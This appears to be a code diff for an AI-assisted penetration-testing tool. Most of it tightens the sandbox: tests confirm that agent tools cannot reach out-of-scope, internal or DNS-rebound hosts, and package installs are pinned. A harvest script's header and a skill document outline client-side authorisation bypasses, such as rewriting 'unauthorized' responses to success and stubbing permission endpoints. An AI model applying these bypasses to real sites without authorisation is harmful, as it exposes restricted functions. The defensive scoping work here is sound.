if res, err := (&Server{}).runHTTPTool(ctx, "probe", httpSpec, map[string]any{}, nil); err != nil || !res.IsError || !strings.Contains(res.Flatten(), "not in task scope") {
|
||||||
|
t.Fatalf("runHTTPTool retained revoked domain: res=%+v err=%v", res, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -154,7 +154,7 @@ func (t *sharedBrowserTool) Call(ctx context.Context, in json.RawMessage, tc *ac
|
|||||||
// blocks non-scope IPs, IMDS, loopback, RFC1918, non-scope domains, and
|
// blocks non-scope IPs, IMDS, loopback, RFC1918, non-scope domains, and
|
||||||
// dangerous schemes like file:// or chrome://).
|
// dangerous schemes like file:// or chrome://).
|
||||||
func sandboxCheckBrowserInput(ctx context.Context, toolName string, raw json.RawMessage) error {
|
func sandboxCheckBrowserInput(ctx context.Context, toolName string, raw json.RawMessage) error {
|
||||||
info, _ := agent.SandboxRunInfoFromContext(ctx)
|
info, _ := agent.ResolveSandboxRunInfo(ctx)
|
||||||
policy, err := sandbox.NewEgressPolicy(info.TaskID, info.ScopeDomains, info.ScopeCIDRs, nil)
|
policy, err := sandbox.NewEgressPolicy(info.TaskID, info.ScopeDomains, info.ScopeCIDRs, nil)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("invalid task egress policy: %w", err)
|
return fmt.Errorf("invalid task egress policy: %w", err)
|
||||||
|
|||||||
@@ -0,0 +1,140 @@
|
|||||||
|
package server
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strings"
|
||||||
|
"sync/atomic"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"github.com/Autumn-27/artex/db"
|
||||||
|
"github.com/Autumn-27/artex/intercept"
|
||||||
|
)
|
||||||
|
|
||||||
|
// The target fingerprint and asset enrichment dial the target themselves,
|
||||||
|
// through the pinned dialer, without a proxy. Whatever makes other traffic go
|
||||||
|
// through a proxy (traffic capture with no global proxy, a global proxy, or a
|
||||||
|
// pin approved while capture was on and capture turned off since), their
|
||||||
|
// connection goes only to the addresses the pin holds: a name that rebinds to
|
||||||
|
// another address after the approval is not reached.
|
||||||
|
|
||||||
|
type directDialMode struct {
|
||||||
|
name string
|
||||||
|
// proxyOn puts a proxy in the path before the approval; proxyOffAfter, when
|
||||||
|
// set, removes it after the approval.
|
||||||
|
proxyOn, proxyOffAfter func(t *testing.T, g *gateServer)
|
||||||
|
withRecorder bool
|
||||||
|
}
|
||||||
|
|
||||||
|
func directDialModes() []directDialMode {
|
||||||
|
capture := func(on bool) func(t *testing.T, g *gateServer) {
|
||||||
|
return func(t *testing.T, g *gateServer) {
|
||||||
|
t.Helper()
|
||||||
|
if err := g.m.SetTrafficEnabled(on); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return []directDialMode{
|
||||||
|
{name: "capture on, no global proxy", proxyOn: capture(true), withRecorder: true},
|
||||||
|
{name: "global proxy", proxyOn: func(t *testing.T, g *gateServer) {
|
||||||
|
t.Helper()
|
||||||
|
if err := g.m.SetGlobalProxy("http://127.0.0.1:3128"); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() { _ = g.m.SetGlobalProxy("") })
|
||||||
|
}},
|
||||||
|
{name: "capture off after a name-only approval", proxyOn: capture(true), proxyOffAfter: capture(false), withRecorder: true},
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// directDialGate is a gated task whose goal host app.example.com:<port> is
|
||||||
|
// approved while the mode's proxy is in the path, at the decoy 203.0.113.7.
|
||||||
|
// The name then answers 10.0.0.5, the victim. A dial by name would reach the
|
||||||
|
// victim too, as a system dialer that resolves the name again would.
|
||||||
|
func directDialGate(t *testing.T, mode directDialMode) (g *gateServer, task *Task, dialer *routeDialer, goal, key string, decoyHits, victimHits *atomic.Int64) {
|
||||||
|
t.Helper()
|
||||||
|
if mode.withRecorder {
|
||||||
|
g = newGateServerWithProxy(t, recordingProxyTestAddr(t))
|
||||||
|
wasOn := g.m.TrafficEnabled()
|
||||||
|
t.Cleanup(func() { _ = g.m.SetTrafficEnabled(wasOn) })
|
||||||
|
} else {
|
||||||
|
g = newGateServer(t)
|
||||||
|
}
|
||||||
|
t.Cleanup(g.m.Enrich().Close)
|
||||||
|
on := true
|
||||||
|
task = g.newTask(t, db.TaskCreateOptions{TargetGate: &on})
|
||||||
|
decoy, dh, _, port := countingServer(t)
|
||||||
|
victim, vh, _, _ := countingServer(t)
|
||||||
|
res := &countingResolver{answers: map[string][]string{"app.example.com": {"203.0.113.7"}}}
|
||||||
|
g.m.interceptor.SetResolver(res)
|
||||||
|
dialer = newRouteDialer(g)
|
||||||
|
dialer.route("203.0.113.7:"+port, decoy.Listener.Addr().String())
|
||||||
|
dialer.route("10.0.0.5:"+port, victim.Listener.Addr().String())
|
||||||
|
dialer.route("app.example.com:"+port, victim.Listener.Addr().String())
|
||||||
|
key = "app.example.com:" + port
|
||||||
|
goal = "http://" + key + "/"
|
||||||
|
|
||||||
|
mode.proxyOn(t, g)
|
||||||
|
if g.m.ProxyAddr() == "" {
|
||||||
|
t.Fatal("no proxy in the path")
|
||||||
|
}
|
||||||
|
if r := intercept.GateRenderedURL(gatedCtx(task, 0), "target_fingerprint", goal); r.Code != intercept.TargetApprovalPending {
|
||||||
|
t.Fatalf("goal before the approval: %+v", r)
|
||||||
|
}
|
||||||
|
id, _, _, ok := openTargetRequest(t, g.m.pg, task.ID, key)
|
||||||
|
if !ok {
|
||||||
|
t.Fatalf("no request on %s", key)
|
||||||
|
}
|
||||||
|
decide(t, g, id, "allowed")
|
||||||
|
pins, err := g.m.pg.ListTargetPins(taskRef(t, task))
|
||||||
|
if err != nil || len(pins) != 1 || !pins[0].NameOnlyEffective {
|
||||||
|
t.Fatalf("pins = %+v, %v; want one pin approved name-only", pins, err)
|
||||||
|
}
|
||||||
|
if mode.proxyOffAfter != nil {
|
||||||
|
mode.proxyOffAfter(t, g)
|
||||||
|
if g.m.ProxyAddr() != "" {
|
||||||
|
t.Fatal("the proxy is still in the path")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
res.set("app.example.com", "10.0.0.5")
|
||||||
|
failDefaultTransportDials(t)
|
||||||
|
return g, task, dialer, goal, key, dh, vh
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestFingerprintDialIgnoresProxyNameOnly(t *testing.T) {
|
||||||
|
for _, mode := range directDialModes() {
|
||||||
|
t.Run(mode.name, func(t *testing.T) {
|
||||||
|
g, task, dialer, goal, _, decoyHits, victimHits := directDialGate(t, mode)
|
||||||
|
fp, _, err := g.s.FingerprintTarget(t.Context(), task, goal)
|
||||||
|
if err == nil || fp != nil || !strings.Contains(err.Error(), intercept.TargetApprovalPending+": the connection to") {
|
||||||
|
t.Fatalf("rebound target: fp=%+v err=%v, want a refusal at the dial", fp, err)
|
||||||
|
}
|
||||||
|
if victimHits.Load() != 0 || decoyHits.Load() != 0 {
|
||||||
|
t.Fatalf("victim hits %d, decoy hits %d; want none", victimHits.Load(), decoyHits.Load())
|
||||||
|
}
|
||||||
|
if got := dialer.calls(); len(got) != 0 {
|
||||||
|
t.Fatalf("dialled %v, want nothing", got)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestEnrichDialIgnoresProxyNameOnly(t *testing.T) {
|
||||||
|
for _, mode := range directDialModes() {
|
||||||
|
t.Run(mode.name, func(t *testing.T) {
|
||||||
|
g, task, dialer, goal, key, decoyHits, victimHits := directDialGate(t, mode)
|
||||||
|
g.m.Enrich().ProbeSite(gatedCtx(task, 0), 1, goal)
|
||||||
|
// The probe runs in the background: it ends either at the victim or
|
||||||
|
// with the refused dial's address request on the key.
|
||||||
|
waitUntil(t, "the probe", func() bool {
|
||||||
|
_, _, _, refused := openTargetRequest(t, g.m.pg, task.ID, key)
|
||||||
|
return victimHits.Load() > 0 || refused
|
||||||
|
})
|
||||||
|
if victimHits.Load() != 0 || decoyHits.Load() != 0 {
|
||||||
|
t.Fatalf("victim hits %d, decoy hits %d; want none", victimHits.Load(), decoyHits.Load())
|
||||||
|
}
|
||||||
|
if got := dialer.calls(); len(got) != 0 {
|
||||||
|
t.Fatalf("dialled %v, want nothing", got)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -3,6 +3,7 @@ package server
|
|||||||
import (
|
import (
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
"net/http"
|
"net/http"
|
||||||
|
"unicode/utf8"
|
||||||
|
|
||||||
"github.com/Autumn-27/artex/traffic"
|
"github.com/Autumn-27/artex/traffic"
|
||||||
)
|
)
|
||||||
@@ -58,5 +59,9 @@ func truncateBody(s string) string {
|
|||||||
if len(s) <= maxIngestBodySize {
|
if len(s) <= maxIngestBodySize {
|
||||||
return s
|
return s
|
||||||
}
|
}
|
||||||
return s[:maxIngestBodySize] + "\n... [truncated by ingest]"
|
cut := maxIngestBodySize
|
||||||
|
for cut > 0 && !utf8.RuneStart(s[cut]) {
|
||||||
|
cut-- // never split a multi-byte rune
|
||||||
|
}
|
||||||
|
return s[:cut] + "\n... [truncated by ingest]"
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -7,6 +7,7 @@ import (
|
|||||||
"path/filepath"
|
"path/filepath"
|
||||||
"strings"
|
"strings"
|
||||||
"testing"
|
"testing"
|
||||||
|
"unicode/utf8"
|
||||||
|
|
||||||
"github.com/Autumn-27/artex/traffic"
|
"github.com/Autumn-27/artex/traffic"
|
||||||
)
|
)
|
||||||
@@ -106,3 +107,15 @@ func TestTrafficIngestRequiresAuth(t *testing.T) {
|
|||||||
t.Fatalf("unauthenticated ingest status = %d, want 401", w.Code)
|
t.Fatalf("unauthenticated ingest status = %d, want 401", w.Code)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestTruncateBodyKeepsValidUTF8(t *testing.T) {
|
||||||
|
// "é" is 2 bytes; an odd cap lands in the middle of a rune.
|
||||||
|
s := "a" + strings.Repeat("é", maxIngestBodySize)
|
||||||
|
got := truncateBody(s)
|
||||||
|
if !utf8.ValidString(got) {
|
||||||
|
t.Fatalf("truncated body is not valid UTF-8")
|
||||||
|
}
|
||||||
|
if !strings.HasSuffix(got, "[truncated by ingest]") {
|
||||||
|
t.Fatalf("missing truncation note")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
@@ -301,7 +301,7 @@ When the server validates sessions step by step (signed cookies that cannot be f
|
|||||||
3. **Phase 1b**: path anchor window expansion + binding layer → `param_candidates.json` (section J)
|
3. **Phase 1b**: path anchor window expansion + binding layer → `param_candidates.json` (section J)
|
||||||
4. Reverse-engineer A1/A2/A3 → write a site-specific `config.json`
|
4. Reverse-engineer A1/A2/A3 → write a site-specific `config.json`
|
||||||
5. **Read and adjust** `runtime_harvest.js` / `preload.js` before executing
|
5. **Read and adjust** `runtime_harvest.js` / `preload.js` before executing
|
||||||
6. `runtimeMode=depth`: `npm install` → run the adjusted harvest script
|
6. `runtimeMode=depth`: `npm ci --ignore-scripts` (installs the versions in `package-lock.json`) → run the adjusted harvest script
|
||||||
7. `runtimeMode=coverage/both`: inject the adjusted preload at document-start → browser MCP dynamic enumeration + **parameter trigger matrix**
|
7. `runtimeMode=coverage/both`: inject the adjusted preload at document-start → browser MCP dynamic enumeration + **parameter trigger matrix**
|
||||||
8. Modules do not render → **section I permission-tree restoration** → patch stubs → rerun
|
8. Modules do not render → **section I permission-tree restoration** → patch stubs → rerun
|
||||||
9. Multi-sample parameter diff + error-driven inference → `params_merged.json`
|
9. Multi-sample parameter diff + error-driven inference → `params_merged.json`
|
||||||
|
|||||||
@@ -11,7 +11,7 @@
|
|||||||
* 2. interceptor gate-> rewrite the "unauthorized" code field to success
|
* 2. interceptor gate-> rewrite the "unauthorized" code field to success
|
||||||
* 3. content gate -> stub the menu/permission endpoint with a full-feature payload
|
* 3. content gate -> stub the menu/permission endpoint with a full-feature payload
|
||||||
*
|
*
|
||||||
* Requires puppeteer-core + a system Chromium. ( cd scripts && npm install )
|
* Requires puppeteer-core + a system Chromium. ( cd scripts && npm ci --ignore-scripts )
|
||||||
*
|
*
|
||||||
* config.json schema (all fields optional except baseUrl):
|
* config.json schema (all fields optional except baseUrl):
|
||||||
* {
|
* {
|
||||||
@@ -38,7 +38,7 @@ const path = require('path');
|
|||||||
|
|
||||||
let puppeteer;
|
let puppeteer;
|
||||||
try { puppeteer = require('puppeteer-core'); }
|
try { puppeteer = require('puppeteer-core'); }
|
||||||
catch (e) { console.error("[!] run `npm install` in the scripts/ dir first (needs puppeteer-core)"); process.exit(1); }
|
catch (e) { console.error("[!] run `npm ci --ignore-scripts` in the scripts/ dir first (needs puppeteer-core)"); process.exit(1); }
|
||||||
|
|
||||||
function loadCfg(p) {
|
function loadCfg(p) {
|
||||||
const c = JSON.parse(fs.readFileSync(p, 'utf8'));
|
const c = JSON.parse(fs.readFileSync(p, 'utf8'));
|
||||||
|
|||||||
@@ -351,7 +351,7 @@ npx --no-install playwright --version
|
|||||||
When local version is available, use `npx playwright cli` in all commands. Otherwise, install `playwright-cli` as a global command at the version ARTEX ships (upgrade deliberately, after reviewing the release):
|
When local version is available, use `npx playwright cli` in all commands. Otherwise, install `playwright-cli` as a global command at the version ARTEX ships (upgrade deliberately, after reviewing the release):
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
npm install -g @playwright/cli@0.1.22
|
npm install -g @playwright/cli@0.1.25
|
||||||
```
|
```
|
||||||
|
|
||||||
## Example: Form submission
|
## Example: Form submission
|
||||||
|
|||||||
@@ -153,10 +153,11 @@ test -f playwright.config.ts || test -f playwright.config.js
|
|||||||
npx --no-install playwright --version
|
npx --no-install playwright --version
|
||||||
```
|
```
|
||||||
|
|
||||||
If there is no Playwright install, bootstrap one and let the user pick the defaults:
|
If there is no Playwright install, add the test runner at the version ARTEX ships (its Chromium is already installed in the image), then write a minimal `playwright.config.ts` with `testDir: './tests'`:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
npm init playwright@latest
|
npm init -y
|
||||||
|
npm install --save-dev --save-exact @playwright/test@1.65.1
|
||||||
```
|
```
|
||||||
|
|
||||||
### 1.2 Prerequisite: seed test
|
### 1.2 Prerequisite: seed test
|
||||||
|
|||||||
@@ -56,3 +56,9 @@ test("formatShortDateTime honours the seconds, year and empty options", () => {
|
|||||||
assert.equal(formatShortDateTime("", { empty: "—" }), "—");
|
assert.equal(formatShortDateTime("", { empty: "—" }), "—");
|
||||||
assert.equal(formatShortDateTime(undefined), "");
|
assert.equal(formatShortDateTime(undefined), "");
|
||||||
});
|
});
|
||||||
|
|
||||||
|
test("formatBytes moves to the next unit instead of rounding up to 1024.0", () => {
|
||||||
|
assert.equal(formatBytes(1024 ** 2 - 1), "1.0 MB");
|
||||||
|
assert.equal(formatBytes(1024 ** 3 - 1), "1.0 GB");
|
||||||
|
assert.equal(formatBytes(1023), "1023 B");
|
||||||
|
});
|
||||||
|
|||||||
@@ -10,7 +10,8 @@ export function formatBytes(bytes: number | null | undefined, { empty = "0 B" }:
|
|||||||
if (bytes == null || !Number.isFinite(bytes) || bytes <= 0) return empty;
|
if (bytes == null || !Number.isFinite(bytes) || bytes <= 0) return empty;
|
||||||
let value = bytes;
|
let value = bytes;
|
||||||
let unit = 0;
|
let unit = 0;
|
||||||
while (value >= 1024 && unit < BYTE_UNITS.length - 1) {
|
// From 1023.95 the one-decimal value would round up to "1024.0", so move to the next unit there.
|
||||||
|
while (value >= (unit === 0 ? 1024 : 1023.95) && unit < BYTE_UNITS.length - 1) {
|
||||||
value /= 1024;
|
value /= 1024;
|
||||||
unit++;
|
unit++;
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user